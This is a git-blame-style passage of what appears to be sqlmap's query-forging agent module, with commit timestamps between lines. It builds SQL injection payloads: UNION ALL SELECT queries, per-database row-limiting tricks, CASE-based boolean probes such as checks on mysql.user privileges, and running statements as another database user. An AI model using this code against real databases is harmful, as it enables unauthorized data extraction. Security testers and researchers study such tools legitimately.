|
|
"""
|
|
|
|
|
2013-03-21 14:28:44 +04:00
|
|
|
if conf.uFrom:
|
|
|
|
fromTable = " FROM %s" % conf.uFrom
|
2016-05-31 12:16:13 +03:00
|
|
|
elif not fromTable:
|
|
|
|
if kb.tableFrom:
|
|
|
|
fromTable = " FROM %s" % kb.tableFrom
|
|
|
|
else:
|
|
|
|
fromTable = FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")
|
2012-09-06 17:51:38 +04:00
|
|
|
|
2010-12-22 15:16:04 +03:00
|
|
|
if query.startswith("SELECT "):
|
2011-01-13 20:36:54 +03:00
|
|
|
query = query[len("SELECT "):]
|
2010-12-22 15:16:04 +03:00
|
|
|
|
2012-12-26 22:48:01 +04:00
|
|
|
unionQuery = self.prefixQuery("UNION ALL SELECT ", prefix=prefix)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-08-01 03:40:09 +04:00
|
|
|
if limited:
|
2012-10-28 02:36:09 +04:00
|
|
|
unionQuery += ','.join(char if _ != position else '(SELECT %s)' % query for _ in xrange(0, count))
|
|
|
|
unionQuery += fromTable
|
|
|
|
unionQuery = self.suffixQuery(unionQuery, comment, suffix)
|
2011-06-25 13:44:24 +04:00
|
|
|
|
2012-10-28 02:36:09 +04:00
|
|
|
return unionQuery
|
2013-01-21 19:15:38 +04:00
|
|
|
else:
|
|
|
|
_ = zeroDepthSearch(query, " FROM ")
|
|
|
|
if _:
|
|
|
|
fromTable = query[_[0]:]
|
|
|
|
|
|
|
|
if fromTable and query.endswith(fromTable):
|
|
|
|
query = query[:-len(fromTable)]
|
2011-06-25 13:44:24 +04:00
|
|
|
|
2017-10-31 13:38:09 +03:00
|
|
|
topNumRegex = re.search(r"\ATOP\s+([\d]+)\s+", query, re.I)
|
2011-08-01 03:40:09 +04:00
|
|
|
if topNumRegex:
|
|
|
|
topNum = topNumRegex.group(1)
|
2011-01-13 20:36:54 +03:00
|
|
|
query = query[len("TOP %s " % topNum):]
|
2012-10-28 02:36:09 +04:00
|
|
|
unionQuery += "TOP %s " % topNum
|
2009-01-03 02:26:45 +03:00
|
|
|
|
2017-10-31 13:38:09 +03:00
|
|
|
intoRegExp = re.search(r"(\s+INTO (DUMP|OUT)FILE\s+'(.+?)')", query, re.I)
|
2009-04-22 15:48:07 +04:00
|
|
|
|
|
|
|
if intoRegExp:
|
|
|
|
intoRegExp = intoRegExp.group(1)
|
|
|
|
query = query[:query.index(intoRegExp)]
|
|
|
|
|
2016-04-04 14:50:10 +03:00
|
|
|
position = 0
|
|
|
|
char = NULL
|
|
|
|
|
2011-10-22 02:34:27 +04:00
|
|
|
for element in xrange(0, count):
|
2008-10-15 19:38:22 +04:00
|
|
|
if element > 0:
|
2012-10-28 02:36:09 +04:00
|
|
|
unionQuery += ','
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2011-01-13 12:41:55 +03:00
|
|
|
if element == position:
|
2013-01-21 19:15:38 +04:00
|
|
|
unionQuery += query
|
2008-10-15 19:38:22 +04:00
|
|
|
else:
|
2012-10-28 02:36:09 +04:00
|
|
|
unionQuery += char
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2013-01-21 19:15:38 +04:00
|
|
|
if fromTable and not unionQuery.endswith(fromTable):
|
|
|
|
unionQuery += fromTable
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2009-04-22 15:48:07 +04:00
|
|
|
if intoRegExp:
|
2012-10-28 02:36:09 +04:00
|
|
|
unionQuery += intoRegExp
|
2009-04-22 15:48:07 +04:00
|
|
|
|
2010-12-22 18:47:52 +03:00
|
|
|
if multipleUnions:
|
2012-10-28 02:36:09 +04:00
|
|
|
unionQuery += " UNION ALL SELECT "
|
2010-12-22 18:47:52 +03:00
|
|
|
|
2011-10-22 02:34:27 +04:00
|
|
|
for element in xrange(count):
|
2010-12-22 18:47:52 +03:00
|
|
|
if element > 0:
|
2012-10-28 02:36:09 +04:00
|
|
|
unionQuery += ','
|
2010-12-22 18:47:52 +03:00
|
|
|
|
2011-01-13 12:41:55 +03:00
|
|
|
if element == position:
|
2012-10-28 02:36:09 +04:00
|
|
|
unionQuery += multipleUnions
|
2010-12-22 18:47:52 +03:00
|
|
|
else:
|
2012-10-28 02:36:09 +04:00
|
|
|
unionQuery += char
|
2010-12-22 18:47:52 +03:00
|
|
|
|
2012-09-06 17:51:38 +04:00
|
|
|
if fromTable:
|
2012-10-28 02:36:09 +04:00
|
|
|
unionQuery += fromTable
|
2010-12-22 18:47:52 +03:00
|
|
|
|
2012-10-28 02:36:09 +04:00
|
|
|
unionQuery = self.suffixQuery(unionQuery, comment, suffix)
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-10-28 02:36:09 +04:00
|
|
|
return unionQuery
|
2008-10-15 19:38:22 +04:00
|
|
|
|
2012-12-19 16:17:56 +04:00
|
|
|
def limitCondition(self, expression, dump=False):
|
|
|
|
startLimit = 0
|
|
|
|
stopLimit = None
|
|
|
|
limitCond = True
|
|
|
|
|
2017-10-31 13:38:09 +03:00
|
|
|
topLimit = re.search(r"TOP\s+([\d]+)\s+", expression, re.I)
|
2012-12-19 16:17:56 +04:00
|
|
|
|
2012-12-20 02:49:02 +04:00
|
|
|
limitRegExp = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, expression, re.I)
|
|
|
|
|
|
|
|
if hasattr(queries[Backend.getIdentifiedDbms()].limitregexp, "query2"):
|
|
|
|
limitRegExp2 = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query2, expression, re.I)
|
|
|
|
else:
|
|
|
|
limitRegExp2 = None
|
|
|
|
|
2012-12-19 16:17:56 +04:00
|
|
|
if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
|
2018-10-16 13:23:07 +03:00
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
|
2012-12-19 16:17:56 +04:00
|
|
|
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
|
|
|
|
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
|
|
|
|
|
|
|
|
if limitGroupStart.isdigit():
|
2012-12-19 16:42:31 +04:00
|
|
|
if limitRegExp:
|
2012-12-19 16:17:56 +04:00
|
|
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
|
|
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
2012-12-19 16:42:31 +04:00
|
|
|
elif limitRegExp2:
|
|
|
|
startLimit = 0
|
|
|
|
stopLimit = limitRegExp2.group(int(limitGroupStart))
|
2012-12-19 16:17:56 +04:00
|
|
|
limitCond = int(stopLimit) > 1
|
|
|
|
|
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
|
|
|
if limitRegExp:
|
|
|
|
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
|
|
|
|
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
|
|
|
|
|
|
|
|
if limitGroupStart.isdigit():
|
|
|
|
startLimit = int(limitRegExp.group(int(limitGroupStart)))
|
|
|
|
|
|
|
|
stopLimit = limitRegExp.group(int(limitGroupStop))
|
|
|
|
limitCond = int(stopLimit) > 1
|
|
|
|
elif topLimit:
|
|
|
|
startLimit = 0
|
|
|
|
stopLimit = int(topLimit.group(1))
|
|
|
|
limitCond = int(stopLimit) > 1
|
|
|
|
|
|
|
|
elif Backend.isDbms(DBMS.ORACLE):
|
|
|
|
limitCond = False
|
|
|
|
|
|
|
|
# We assume that only queries NOT containing a "LIMIT #, 1"
|
|
|
|
# (or equivalent depending on the back-end DBMS) can return
|
|
|
|
# multiple entries
|
|
|
|
if limitCond:
|
|
|
|
if (limitRegExp or limitRegExp2) and stopLimit is not None:
|
|
|
|
stopLimit = int(stopLimit)
|
|
|
|
|
|
|
|
# From now on we need only the expression until the " LIMIT "
|
|
|
|
# (or equivalent, depending on the back-end DBMS) word
|
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE):
|
|
|
|
stopLimit += startLimit
|
2012-12-20 02:55:31 +04:00
|
|
|
if expression.find(queries[Backend.getIdentifiedDbms()].limitstring.query) > 0:
|
|
|
|
_ = expression.index(queries[Backend.getIdentifiedDbms()].limitstring.query)
|
|
|
|
else:
|
2017-06-02 01:44:01 +03:00
|
|
|
_ = re.search(r"\bLIMIT\b", expression, re.I).start()
|
2012-12-19 16:17:56 +04:00
|
|
|
expression = expression[:_]
|
|
|
|
|
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
|
|
|
|
stopLimit += startLimit
|
|
|
|
elif dump:
|
|
|
|
if conf.limitStart:
|
|
|
|
startLimit = conf.limitStart - 1
|
|
|
|
if conf.limitStop:
|
|
|
|
stopLimit = conf.limitStop
|
|
|
|
|
|
|
|
return expression, limitCond, topLimit, startLimit, stopLimit
|
|
|
|
|
2011-02-07 19:24:23 +03:00
|
|
|
def limitQuery(self, num, query, field=None, uniqueField=None):
|
2008-12-10 20:23:07 +03:00
|
|
|
"""
|
|
|
|
Take in input a query string and return its limited query string.
|
|
|
|
|
|
|
|
Example:
|
|
|
|
|
|
|
|
Input: SELECT user FROM mysql.users
|
|
|
|
Output: SELECT user FROM mysql.users LIMIT <num>, 1
|
|
|
|
|
|
|
|
@param num: limit number
|
|
|
|
@type num: C{int}
|
|
|
|
|
|
|
|
@param query: query to be processed
|
|
|
|
@type query: C{str}
|
|
|
|
|
2008-12-22 22:36:01 +03:00
|
|
|
@param field: field within the query
|
|
|
|
@type field: C{list}
|
2008-12-10 20:23:07 +03:00
|
|
|
|
|
|
|
@return: limited query string
|
|
|
|
@rtype: C{str}
|
|
|
|
"""
|
|
|
|
|
2014-08-11 14:46:37 +04:00
|
|
|
if " FROM " not in query:
|
|
|
|
return query
|
|
|
|
|
2010-04-09 19:48:53 +04:00
|
|
|
limitedQuery = query
|
2011-01-28 19:36:09 +03:00
|
|
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query
|
2010-04-09 19:48:53 +04:00
|
|
|
fromIndex = limitedQuery.index(" FROM ")
|
|
|
|
untilFrom = limitedQuery[:fromIndex]
|
2013-01-10 16:18:44 +04:00
|
|
|
fromFrom = limitedQuery[fromIndex + 1:]
|
2015-10-13 14:04:59 +03:00
|
|
|
orderBy = None
|
2008-12-10 20:23:07 +03:00
|
|
|
|
2020-01-23 18:59:02 +03:00
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO):
|
2011-01-28 19:36:09 +03:00
|
|
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
2008-12-10 20:23:07 +03:00
|
|
|
limitedQuery += " %s" % limitStr
|
2010-11-03 13:08:27 +03:00
|
|
|
|
2020-01-20 17:33:45 +03:00
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.DERBY,):
|
|
|
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
|
|
|
|
limitedQuery += " %s" % limitStr
|
|
|
|
|
2020-01-17 19:14:41 +03:00
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
|
|
|
|
if query.startswith("SELECT ") and field is not None and field in query:
|
|
|
|
original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
|
|
|
|
for part in original.split(','):
|
|
|
|
if re.search(r"\b%s\b" % re.escape(field), part):
|
|
|
|
_ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
|
|
|
|
replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
|
|
|
|
limitedQuery = replacement
|
|
|
|
break
|
|
|
|
|
2015-10-09 17:52:13 +03:00
|
|
|
elif Backend.isDbms(DBMS.HSQLDB):
|
2015-10-13 14:04:59 +03:00
|
|
|
match = re.search(r"ORDER BY [^ ]+", limitedQuery)
|
|
|
|
if match:
|
2018-12-04 00:40:44 +03:00
|
|
|
limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
|
2015-10-13 14:04:59 +03:00
|
|
|
limitedQuery += " %s" % match.group(0)
|
|
|
|
|
|
|
|
if query.startswith("SELECT "):
|
|
|
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
|
|
|
|
limitedQuery = limitedQuery.replace("SELECT ", "SELECT %s " % limitStr, 1)
|
|
|
|
else:
|
|
|
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query2 % (1, num)
|
|
|
|
limitedQuery += " %s" % limitStr
|
|
|
|
|
|
|
|
if not match:
|
|
|
|
match = re.search(r"%s\s+(\w+)" % re.escape(limitStr), limitedQuery)
|
|
|
|
if match:
|
|
|
|
orderBy = " ORDER BY %s" % match.group(1)
|
2015-10-09 17:52:13 +03:00
|
|
|
|
2011-04-30 18:54:29 +04:00
|
|
|
elif Backend.isDbms(DBMS.FIREBIRD):
|
2013-01-10 16:18:44 +04:00
|
|
|
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, num + 1)
|
2010-03-18 20:20:54 +03:00
|
|
|
limitedQuery += " %s" % limitStr
|
2008-12-10 20:23:07 +03:00
|
|
|
|
2011-06-25 13:44:24 +04:00
|
|
|
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
|
2018-03-13 15:45:42 +03:00
|
|
|
if " ORDER BY " not in limitedQuery:
|
2013-01-20 06:40:40 +04:00
|
|
|
limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT")
|
|
|
|
elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery:
|
2008-12-23 01:48:44 +03:00
|
|
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
|
|
|
|
2008-12-22 03:51:09 +03:00
|
|
|
if query.startswith("SELECT "):
|
2011-03-22 16:07:37 +03:00
|
|
|
delimiter = queries[Backend.getIdentifiedDbms()].delimiter.query
|
2012-08-20 23:57:25 +04:00
|
|
|
limitedQuery = "%s FROM (%s,%s" % (untilFrom, untilFrom.replace(delimiter, ','), limitStr)
|
2008-12-22 03:51:09 +03:00
|
|
|
else:
|
2012-08-20 23:57:25 +04:00
|
|
|
limitedQuery = "%s FROM (SELECT %s,%s" % (untilFrom, ','.join(f for f in field), limitStr)
|
2013-01-19 01:40:50 +04:00
|
|
|
|
2016-03-08 16:35:16 +03:00
|
|
|
limitedQuery = safeStringFormat(limitedQuery, (fromFrom,))
|
2008-12-10 20:23:07 +03:00
|
|
|
limitedQuery += "=%d" % (num + 1)
|
|
|
|
|
2011-04-30 18:54:29 +04:00
|
|
|
elif Backend.isDbms(DBMS.MSSQL):
|
2009-02-03 02:44:19 +03:00
|
|
|
forgeNotIn = True
|
|
|
|
|
2008-12-23 01:48:44 +03:00
|
|
|
if " ORDER BY " in limitedQuery:
|
2010-04-09 19:48:53 +04:00
|
|
|
orderBy = limitedQuery[limitedQuery.index(" ORDER BY "):]
|
2008-12-23 01:48:44 +03:00
|
|
|
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
2008-12-10 20:23:07 +03:00
|
|
|
|
2017-10-31 13:38:09 +03:00
|
|
|
notDistincts = re.findall(r"DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
|
2010-01-05 19:15:31 +03:00
|
|
|
|
|
|
|
for notDistinct in notDistincts:
|
|
|
|
limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct)
|
|
|
|
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
|
|
|
|
|
2009-02-03 02:44:19 +03:00
|
|
|
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
|
2011-01-28 19:36:09 +03:00
|
|
|
topNums = re.search(queries[Backend.getIdentifiedDbms()].limitregexp.query, limitedQuery, re.I)
|
2009-02-03 02:44:19 +03:00
|
|
|
|
|
|
|
if topNums:
|
|
|
|
topNums = topNums.groups()
|
|
|
|
quantityTopNums = topNums[0]
|
2011-01-19 02:02:11 +03:00
|
|
|
limitedQuery = limitedQuery.replace("TOP %s" % quantityTopNums, "TOP 1", 1)
|
|
|
|
startTopNums = topNums[1]
|
|
|
|
limitedQuery = limitedQuery.replace(" (SELECT TOP %s" % startTopNums, " (SELECT TOP %d" % num)
|
|
|
|
forgeNotIn = False
|
2009-02-03 02:44:19 +03:00
|
|
|
else:
|
2019-04-30 15:23:28 +03:00
|
|
|
limitedQuery = re.sub(r"\bTOP\s+\d+\s*", "", limitedQuery, flags=re.I)
|
2009-02-03 02:44:19 +03:00
|
|
|
|
2010-01-02 05:02:12 +03:00
|
|
|
if forgeNotIn:
|
2010-01-05 19:15:31 +03:00
|
|
|
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
|
|
|
|
2011-03-24 20:08:14 +03:00
|
|
|
if " ORDER BY " not in fromFrom:
|
2019-05-09 17:22:18 +03:00
|
|
|
# Reference: https://web.archive.org/web/20150218053955/http://vorg.ca/626-the-MS-SQL-equivalent-to-MySQLs-limit-command
|
2011-02-09 15:43:09 +03:00
|
|
|
if " WHERE " in limitedQuery:
|
2012-10-29 00:16:51 +04:00
|
|
|
limitedQuery = "%s AND %s " % (limitedQuery, self.nullAndCastField(uniqueField or field))
|
2011-02-09 15:43:09 +03:00
|
|
|
else:
|
2012-12-21 17:52:47 +04:00
|
|
|
limitedQuery = "%s WHERE %s " % (limitedQuery, self.nullAndCastField(uniqueField or field))
|
2011-02-09 15:43:09 +03:00
|
|
|
|
|
|
|
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
2019-08-30 15:43:56 +03:00
|
|
|
limitedQuery += "%s %s ORDER BY %s) ORDER BY %s" % (self.nullAndCastField(uniqueField or field), fromFrom, uniqueField or '1', uniqueField or '1')
|
2009-01-31 02:58:48 +03:00
|
|
|
else:
|
2017-10-31 13:38:09 +03:00
|
|
|
match = re.search(r" ORDER BY (\w+)\Z", query)
|
2013-02-14 16:36:33 +04:00
|
|
|
field = match.group(1) if match else field
|
|
|
|
|
2011-02-09 15:43:09 +03:00
|
|
|
if " WHERE " in limitedQuery:
|
|
|
|
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
|
|
|
else:
|
|
|
|
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
|
2010-01-05 19:15:31 +03:00
|
|
|
|
2011-02-09 15:43:09 +03:00
|
|
|
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
|
|
|
limitedQuery += "%s %s)" % (field, fromFrom)
|
2011-02-08 03:02:54 +03:00
|
|
|
|
2010-04-09 19:48:53 +04:00
|
|
|
if orderBy:
|
|
|
|
limitedQuery += orderBy
|
|
|
|
|
2010-10-15 16:52:33 +04:00
|
|
|
return limitedQuery
|
2008-12-10 20:23:07 +03:00
|
|
|
|
2012-07-12 04:12:30 +04:00
|
|
|
def forgeQueryOutputLength(self, expression):
|
|
|
|
lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
|
2016-05-30 14:10:25 +03:00
|
|
|
select = re.search(r"\ASELECT\s+", expression, re.I)
|
2020-01-23 01:41:06 +03:00
|
|
|
selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I)
|
2016-05-30 14:10:25 +03:00
|
|
|
selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
|
|
|
|
selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)
|
2012-07-12 04:12:30 +04:00
|
|
|
|
2013-01-22 17:27:17 +04:00
|
|
|
_, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)
|
|
|
|
|
2020-01-23 01:41:06 +03:00
|
|
|
if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom:
|
|
|
|
lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2))
|
|
|
|
elif selectTopExpr or selectMinMaxExpr:
|
2013-03-16 01:08:15 +04:00
|
|
|
lengthExpr = lengthQuery % ("(%s)" % expression)
|
|
|
|
elif select:
|
2013-03-16 01:49:09 +04:00
|
|
|
lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
|
2012-07-12 04:12:30 +04:00
|
|
|
else:
|
|
|
|
lengthExpr = lengthQuery % expression
|
|
|
|
|
2013-01-18 18:40:37 +04:00
|
|
|
return unescaper.escape(lengthExpr)
|
2012-07-12 04:12:30 +04:00
|
|
|
|
2008-12-19 23:09:46 +03:00
|
|
|
def forgeCaseStatement(self, expression):
|
|
|
|
"""
|
|
|
|
Take in input a query string and return its CASE statement query
|
|
|
|
string.
|
|
|
|
|
|
|
|
Example:
|
|
|
|
|
|
|
|
Input: (SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y'
|
|
|
|
Output: SELECT (CASE WHEN ((SELECT super_priv FROM mysql.user WHERE user=(SUBSTRING_INDEX(CURRENT_USER(), '@', 1)) LIMIT 0, 1)='Y') THEN 1 ELSE 0 END)
|
|
|
|
|
|
|
|
@param expression: expression to be processed
|
|
|
|
@type num: C{str}
|
|
|
|
|
|
|
|
@return: processed expression
|
|
|
|
@rtype: C{str}
|
|
|
|
"""
|
|
|
|
|
2011-02-01 00:20:23 +03:00
|
|
|
caseExpression = expression
|
|
|
|
|
2012-10-15 14:24:30 +04:00
|
|
|
if Backend.getIdentifiedDbms() is not None:
|
2011-02-01 00:20:23 +03:00
|
|
|
caseExpression = queries[Backend.getIdentifiedDbms()].case.query % expression
|
|
|
|
|
2012-02-07 18:57:48 +04:00
|
|
|
if "(IIF" not in caseExpression and Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not caseExpression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
|
2012-02-07 16:05:23 +04:00
|
|
|
caseExpression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]
|
2011-02-01 00:20:23 +03:00
|
|
|
|
|
|
|
return caseExpression
|
2008-12-19 23:09:46 +03:00
|
|
|
|
2014-03-30 18:51:31 +04:00
|
|
|
def addPayloadDelimiters(self, value):
|
2010-10-29 20:11:50 +04:00
|
|
|
"""
|
|
|
|
Adds payload delimiters around the input string
|
|
|
|
"""
|
|
|
|
|
2014-03-30 18:51:31 +04:00
|
|
|
return "%s%s%s" % (PAYLOAD_DELIMITER, value, PAYLOAD_DELIMITER) if value else value
|
2010-10-29 20:11:50 +04:00
|
|
|
|
2014-03-30 18:51:31 +04:00
|
|
|
def removePayloadDelimiters(self, value):
|
2010-10-29 20:11:50 +04:00
|
|
|
"""
|
|
|
|
Removes payload delimiters from inside the input string
|
|
|
|
"""
|
|
|
|
|
2019-08-30 15:43:56 +03:00
|
|
|
return value.replace(PAYLOAD_DELIMITER, "") if value else value
|
2010-10-29 20:11:50 +04:00
|
|
|
|
2014-03-30 18:51:31 +04:00
|
|
|
def extractPayload(self, value):
|
2010-10-29 20:11:50 +04:00
|
|
|
"""
|
|
|
|
Extracts payload from inside of the input string
|
|
|
|
"""
|
|
|
|
|
2013-10-17 18:38:07 +04:00
|
|
|
_ = re.escape(PAYLOAD_DELIMITER)
|
2017-10-31 13:38:09 +03:00
|
|
|
return extractRegexResult(r"(?s)%s(?P<result>.*?)%s" % (_, _), value)
|
2010-10-29 20:11:50 +04:00
|
|
|
|
2014-03-30 18:51:31 +04:00
|
|
|
def replacePayload(self, value, payload):
|
2010-10-29 20:11:50 +04:00
|
|
|
"""
|
|
|
|
Replaces payload inside the input string with a given payload
|
|
|
|
"""
|
|
|
|
|
2013-10-17 18:38:07 +04:00
|
|
|
_ = re.escape(PAYLOAD_DELIMITER)
|
2017-10-31 13:38:09 +03:00
|
|
|
return re.sub(r"(?s)(%s.*?%s)" % (_, _), ("%s%s%s" % (PAYLOAD_DELIMITER, getUnicode(payload), PAYLOAD_DELIMITER)).replace("\\", r"\\"), value) if value else value
|
2010-10-29 20:11:50 +04:00
|
|
|
|
2012-07-02 18:02:00 +04:00
|
|
|
def runAsDBMSUser(self, query):
|
2012-07-24 17:34:50 +04:00
|
|
|
if conf.dbmsCred and "Ad Hoc Distributed Queries" not in query:
|
2012-07-10 03:19:32 +04:00
|
|
|
query = getSQLSnippet(DBMS.MSSQL, "run_statement_as_user", USER=conf.dbmsUsername, PASSWORD=conf.dbmsPassword, STATEMENT=query.replace("'", "''"))
|
2012-07-02 18:02:00 +04:00
|
|
|
|
|
|
|
return query
|
|
|
|
|
2017-01-02 17:14:59 +03:00
|
|
|
def whereQuery(self, query):
|
|
|
|
if conf.dumpWhere and query:
|
2019-11-17 21:27:19 +03:00
|
|
|
match = re.search(r" (LIMIT|ORDER).+", query, re.I)
|
|
|
|
if match:
|
|
|
|
suffix = match.group(0)
|
|
|
|
prefix = query[:-len(suffix)]
|
|
|
|
else:
|
|
|
|
prefix, suffix = query, ""
|
2017-01-02 17:14:59 +03:00
|
|
|
|
2018-10-04 14:51:41 +03:00
|
|
|
if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
|
2017-01-02 17:14:59 +03:00
|
|
|
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
|
|
|
|
elif re.search(r"(?i)\bWHERE\b", prefix):
|
|
|
|
prefix += " AND %s" % conf.dumpWhere
|
|
|
|
else:
|
|
|
|
prefix += " WHERE %s" % conf.dumpWhere
|
|
|
|
|
2019-11-17 21:27:19 +03:00
|
|
|
query = prefix
|
|
|
|
if suffix:
|
|
|
|
query += suffix
|
2017-01-02 17:14:59 +03:00
|
|
|
|
|
|
|
return query
|
|
|
|
|
2008-10-15 19:38:22 +04:00
|
|
|
# SQL agent
|
|
|
|
agent = Agent()
|